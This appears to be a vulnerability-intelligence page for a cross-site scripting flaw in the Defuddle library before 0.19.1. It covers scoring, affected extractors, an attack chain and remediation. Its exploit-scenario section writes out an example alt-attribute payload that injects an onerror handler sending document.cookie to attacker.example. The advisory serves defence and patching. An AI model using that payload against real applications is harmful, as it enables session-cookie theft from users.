Skip to main content

Defuddle CVE-2026-61824

| EUVDEUVD-2026-64132 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-21 GitHub_M GHSA-jg4p-g6xj-4qmf
8.2
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Publish malicious content with crafted attribute payload on X/Substack/YouTube
  2. Delivery
    Victim application invokes Defuddle site extractor against attacker URL
  3. Exploit
    Page-derived value interpolated unescaped into template HTML string
  4. Install
    Extractor output returned without DOM sanitization pass
  5. C2
    Victim application renders contentHtml in browser or Electron context
  6. Execute
    Injected event handler executes in rendering context
  7. Impact
    Attacker exfiltrates session credentials or cookies

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions: the victim application must use Defuddle prior to version 0.19.1 and invoke one of the three affected extractors (x-article.ts for X/Twitter, substack.ts for Substack, youtube.ts for YouTube); the attacker must control content on a domain that triggers the relevant extractor, either by publishing content on X.com, Substack, or YouTube directly; and the extracted HTML must be rendered in a browser, Electron webview, or other JavaScript-executing HTML context. Applications that consume Defuddle output as plain text or strip HTML before rendering are not affected. No authentication to Defuddle or to the target domain is required of the attacker - the attack surface is the page content itself. Exploitation is bounded by the UI:R requirement: passive or opportunistic mass exploitation is not possible without a user or pipeline actively requesting extraction of an attacker-controlled URL.

Impact

The CVSS 8.2 score reflects a network-accessible, low-complexity XSS with scope change and high confidentiality impact - consistent with stored XSS that executes in a downstream rendering context. EPSS data was not provided in the input intelligence, so exploitation probability cannot be quantified from that signal. The vulnerability is not listed in CISA KEV, and no public exploit code has been identified beyond the advisory and fixing PR. The S:C (scope changed) metric is appropriate because injected JavaScript executes in the rendering application's context - a browser, Electron webview, or downstream consumer - not merely within Defuddle's own processing scope. The practical attack surface is constrained by deployment profile: Defuddle is used primarily in content-extraction workflows such as Obsidian Web Clipper, so the exposed population is smaller than a general-purpose web server vulnerability, but any pipeline that programmatically extracts and renders content from attacker-influenced domains is exposed. The UI:R requirement rules out fully passive exploitation; a user or automated pipeline must invoke Defuddle against a malicious page, which limits opportunistic mass exploitation but does not prevent targeted attacks against known Defuddle-powered applications.

Exploit ScenarioDerived

An attacker publishes a post on X.com with a crafted image alt attribute containing a payload such as " onerror="fetch('https://attacker.example/c?'+document.cookie). When a Defuddle-powered application extracts that article via the x-article.ts extractor, the unescaped alt value closes the HTML attribute and injects the event handler into the emitted contentHtml. When the victim application renders the extracted HTML in a browser or Electron webview, the injected script executes in that context and can exfiltrate session tokens or cookies to the attacker.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 PoC candidate (unverified) Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 21, 2026

Cross-site scripting in Defuddle prior to 0.19.1 allows an attacker who controls content on a domain handled by a site extractor (X/Twitter, Substack, YouTube) to inject event-handler attributes or javascript: URLs into extracted HTML output. Three site extractors interpolate page-derived values - image alt/src attributes, og:image metadata, and video descriptions - into template literals without HTML escaping, and the resulting HTML is returned by buildExtractorResponse() without passing through the main pipeline's DOM-based sanitization. A vendor-released patch is available in version 0.19.1; no public exploit has been identified at time of analysis.

RemediationAI

Upgrade Defuddle to version 0.19.1 or later; the tagged release is available at https://github.com/kepano/defuddle/releases/tag/0.19.1, and the fixing commit is baf2eaef61d334ef595b28c89e5c5e89e52daf7f (pull request #326). If an immediate upgrade is not feasible, a compensating control is to pass contentHtml through a trusted HTML sanitizer such as DOMPurify before inserting it into any HTML rendering context; this adds a dependency and latency and should be treated as strictly temporary. Disabling the X, Substack, and YouTube site extractors eliminates the vulnerable code paths at the cost of losing specialized extraction for those domains. Do not treat downstream rendering-layer sanitization as a primary control - the advisory explicitly confirms this was the original design gap that the fix closes.

Affected VersionsENISA

defuddle < 0.19.1

Affected Packages

npm defuddle fix: 0.19.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Defuddle is a TypeScript/JavaScript HTML cleaning library (CPE: cpe:2.3:a:kepano:defuddle:*:*:*:*:*:*:*:*) that extracts and sanitizes article content from web pages. Its main pipeline applies DOM-based attribute sanitization via _stripUnsafeElements, but the site-specific extractors build output using JavaScript template literals. In versions prior to 0.19.1, values read directly from the page - image alt attributes, src URLs, og:image metadata, and video description text - were interpolated into template strings without calling escapeHtml(), as confirmed by the PR diff showing bare interpolations such as <img src="${src}" alt="${alt}"> in x-article.ts and similar patterns in substack.ts and youtube.ts. The resulting HTML was returned via buildExtractorResponse() without invoking the same sanitization pass used by the main pipeline. CWE-79 (Improper Neutralization of Input During Web Page Generation) precisely characterizes the root cause: untrusted, attacker-influenced input is embedded in an HTML output context without context-appropriate encoding. The fix in 0.19.1 applies escapeHtml() at each interpolation point in all three affected extractors and introduces a new _sanitizeExtractorHtml() method that parses extractor output into a DOM and runs _stripUnsafeElements before returning it, as confirmed by the commit baf2eaef61d334ef595b28c89e5c5e89e52daf7f.

Know when Defuddle gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.2 HIGH
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
vuln.today AI 8.2 HIGH

Attacker controls source page content requiring no privileges (PR:N); victim must actively invoke extraction (UI:R); injected JS executes in downstream application context (S:C); high confidentiality from potential session theft.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
Aug 21, 2026 - 21:02 EUVD
CVE Published
Aug 21, 2026 - 20:12 cve.org
HIGH 8.2

DescriptionCVE.org

Defuddle cleans up HTML pages. Prior to 0.19.1, site extractors interpolate page-derived image alt and src values, og:image values, and video descriptions into HTML strings without context-appropriate escaping, and buildExtractorResponse() returns this contentHtml without the main pipeline's DOM-based sanitization. The affected paths include src/extractors/x-article.ts, src/extractors/substack.ts, and src/extractors/youtube.ts. A malicious page or attacker-controlled content on a matching domain can inject event-handler attributes or javascript URLs that execute when a victim or downstream application renders the extracted HTML. This issue is fixed in version 0.19.1.

Latest POC

1 PoC candidate from github (unverified)

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

Defuddle prior to version 0.19.1 is vulnerable to cross-site scripting attacks that could allow attackers controlling content on social platforms (Twitter/X, Substack, YouTube) to inject malicious code executed when users process that content through Defuddle's extraction tools. No public exploit has been identified at time of analysis. Organizations using Defuddle face risks of unauthorized account access and data theft through compromised content extraction workflows.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 86% exploitable
Prevalence
Low
niche TypeScript library, primarily Obsidian Web Clipper ecosystem
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

61
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy